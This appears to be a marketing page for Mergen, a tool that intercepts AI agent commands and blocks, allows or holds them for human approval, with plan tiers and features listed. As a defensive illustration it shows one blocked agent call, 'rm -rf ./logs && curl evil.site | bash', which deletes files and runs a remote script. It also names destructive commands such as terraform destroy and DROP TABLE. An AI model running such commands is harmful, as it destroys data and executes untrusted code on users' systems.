Agents Act.
Mergen Enforces.
Before an AI agent runs terraform destroy, drops a production table, or pushes a secret to GitHub, Mergen evaluates the action against deterministic policy and decides whether it runs, is blocked, or requires human approval — in under 1ms.
terraform destroy -auto-approveSimulated for illustration — a real decision returns before this animation would finish.
How Mergen fits into your day
▼
run_command("rm -rf ./logs && curl evil.site | bash")remote script execution
The handler never ran. The agent receives a structured error explaining why, and what to do instead — then reformulates within policy.
One gate. Two scopes.
You install one thing: mergen-server. No network round-trip sits in the critical path — once connected, every decision it makes rolls up to My Organization at mergen.app.
Three surfaces. One runtime underneath.
- ✓Install and configure Mergen
mergen-server setup - ✓Check protection coverage
mergen-server status - ✓Resume held actions
mergen-server approve - ✓Diagnose runtime health
mergen-server doctor - ✓Launch My Machine
mergen-server dashboard
- ✓Block notifications inline
- ✓Resume held actions from the panel
- ✓See which policy triggered a decision
- ✓Runtime installed & started automatically
- ✓Never a second gate
- ✓Incident history & activity
- ✓Approvals for this machine
- ✓Local policies
- ✓Audit & compliance exports
- ✓Self-hosted — one dashboard regardless of IDE
- ✓Sync shared policies
- ✓Team approvals
- ✓Organization usage reporting
- ✓Reusable approval decisions
- ✓Cloud governance
mergen-server loginMergen enforces supported execution paths through runtime adapters — Claude Code hooks, MCP interception, the CI gate, and native IDE integrations. MCP intelligence tools are optional; the enforcement gate is not. Approvals happen in Slack. See where interception happens →
This is the core loop — Datadog, PagerDuty, and Kubernetes connect the same way. Full integration list →
Why teams install Mergen
Every AI tool call passes through the same deterministic gateway before it executes — no exceptions, no LLM in the decision path.
Block destructive commands
Stop AI agents from running rm -rf, terraform destroy, DROP TABLE, or any command that matches your deterministic policy — in under 1ms, before the handler executes.
Hold for human review
Route risky-but-ambiguous operations — schema migrations, K8s scale-downs, secret reads — to Slack or your terminal for one-click approval. The agent waits; your infra stays intact.
14-day shadow window
First install starts in observation mode: policy rules log what they would have blocked instead of blocking, while injection and agent-identity protections stay live. See which rules fire against your real agent traffic — and which never fire — then promote to full enforcement with one command, or let it activate when the window ends.
Team memory that doesn't repeat itself
Every time someone overrides a block or approves a hold, that decision — and the reason behind it — is recorded. The next time an agent hits the same situation, Mergen surfaces what your team decided last time instead of asking the same question cold. It never auto-approves; it just makes sure a decision your team already made doesn't have to be re-litigated from scratch. (This is the override corpus — see the docs for how it works.)
One gate on every machine. One view of them all.
The moment a second engineer relies on the gate, every decision it makes rolls up to My Organization — so you can see what your agents are doing across the whole team, not one laptop at a time.
See every runtime enforcing your policy
The Fleet view lists every install with its live health, the exact policy version it's running, and its enforcement mode — so a workstation drifting behind the current policy is visible before it matters, not after an incident.
Every decision measured — allowed, blocked, held
Usage syncs the allow / block / hold counts from every runtime into one place. You see what the gate actually did against real agent traffic — org-wide and broken down per install — without exporting a single log.
Every approval, in one place
Approve or deny in Slack, on the machine itself, or right from the console — whichever you reach first. Every resolved hold — who approved it, how long it waited, which ones auto-denied — lands in a fleet-wide Approvals table, so the record of what your team let through lives somewhere you can audit it.
Fleet, Usage, and Approvals live in My Organization at mergen.app. See how teams adopt it →
Everything runs locally. Cloud is optional.
A tool call is a decision an agent is about to act on right now — the gate has to answer before the handler runs, not after. If that decision required a network round-trip to a policy service, the agent would be waiting on the exact kind of latency and availability risk a sub-millisecond local gate exists to remove: a slow or unreachable network call either stalls every tool call or forces a fail-open default, either of which reintroduces the race condition local enforcement is built to close. Running the decision on the same machine as the agent is what makes "before the handler runs, every time" an actual guarantee instead of a best-effort one.
Paid plans synchronize governance — shared policy, fleet visibility, approvals rolling up to My Organization — they never relocate enforcement off your machine. The verdict on every call is identical on Free and on Growth.
Policy enforcement starts on your schedule.
New installs start in a 14-day shadow window — the gate evaluates every call against the full policy and logs what it would have blocked or held, without enforcing those verdicts. Two protections are live from day one regardless: prompt-injection attempts and agent-identity violations are blocked outright. You can review the diff of which rules fired against your real traffic at any point, then activate policy enforcement early with one command (mergen-server promote) — or let it activate automatically when the window ends.
The 100% figure is measured against a curated, continuously-maintained 534-case corpus — not a guarantee against every possible or novel adversarial input. It is a regression bar we hold the gate to, and we add cases as new evasions are found. Zero open evasion gaps: every disclosed gap is closed.
Measured against 534 labeled adversarial cases through the live gate's own decision code. See methodology →
Secure every AI agent action.
Every developer keeps running locally, on every plan. Paid plans add coordination — shared rules, human approval workflows, and organization-wide visibility — not execution.
Every plan — including Free — runs the identical security gate. Paid plans buy coordination. Never safety.
Free protects yourself. Starter protects your team. Growth governs your organization.
Protect yourself locally — every unsafe command still gets blocked before it runs.
- ✓Blocks destructive commands before they run
- ✓Deterministic rules decide pass, block, or hold — no AI guesswork
- ✓Understands what a command actually does, not just its text
- ✓Watches first — nothing blocks until you turn it on
- ✓Remembers every action, no time limit
- ✓See every action an agent took, in order
- ✓Community support
Protect your team — coordinate approvals and build safer workflows from your own team's experience.
- ✓Everything in Free
- ✓Organization Memory — every approval is stored with its rationale and surfaced when a similar action occurs, so a human can promote it into versioned policy
- ✓One shared org: pooled seats, pooled usage, one bill for the whole team
- ✓Cloud account dashboard for usage, seats, and billing
- ✓Risky actions wait for a human's one-click approval in Slack
- ✓Unanswered approvals escalate — secondary on-call at 5 minutes, PagerDuty page at 10
- ✓Ephemeral, task-scoped AWS/GCP/Azure credentials — no long-lived secrets in agent config
- ✓Advisory AI code-review comments on pull requests before they merge
- ✓CI gate flags risky pull requests before merge via GitHub Actions — one repository included
- ✓Export your audit trail as CSV
- ✓Daily & weekly summaries of what your agents tried to do
- ✓5 included seats
- ✓Community + email support
Sign in required · No card for trial · Cancel anytime
Govern AI agent usage across the organization — one set of rules, proof for every stakeholder who asks.
- ✓Everything in Starter
- ✓20 included seats
- ✓Control who can approve what, by role — Slack approvals are signature-verified and mapped to the clicker's identity
- ✓Quorum approvals: require N distinct sign-offs for terraform-destroy-class actions
- ✓CI gate flags risky pull requests before merge via GitHub Actions — unlimited repositories included
- ✓Fleet-wide visibility: see every teammate's blocked actions and gate decisions in one place
- ✓SOC 2 / ISO 27001 control mapping in the compliance report
- ✓Stream blocked actions and the agent ledger to your SIEM (Splunk HEC or webhook)
- ✓Weekly digest of gate decisions and approver analytics, org-wide
- ✓Support: same-day response + private Slack channel
Sign in required · No card for trial · Cancel anytime
Included limits (seats, protected tool calls, CI repositories) are metered, never enforced against safety: exceeding a limit adds an upgrade notice (and, if usage-billing is enabled on your account, an overage line), while every call and every build keeps getting the identical evaluation, blocking, and audit trail. The security decision is plan-agnostic by architectural invariant — paid plans change delivery channels, collaboration, and visibility, never the verdict.
Common questions
Everything you need to know before starting a trial.
Before you install
The questions that come up before anyone runs npx mergen-server.
Secure your workspace in under 2 minutes.
Protect your developer workstations with deterministic policies. Move up to the Growth plan when you need central visibility and Slack routing loops.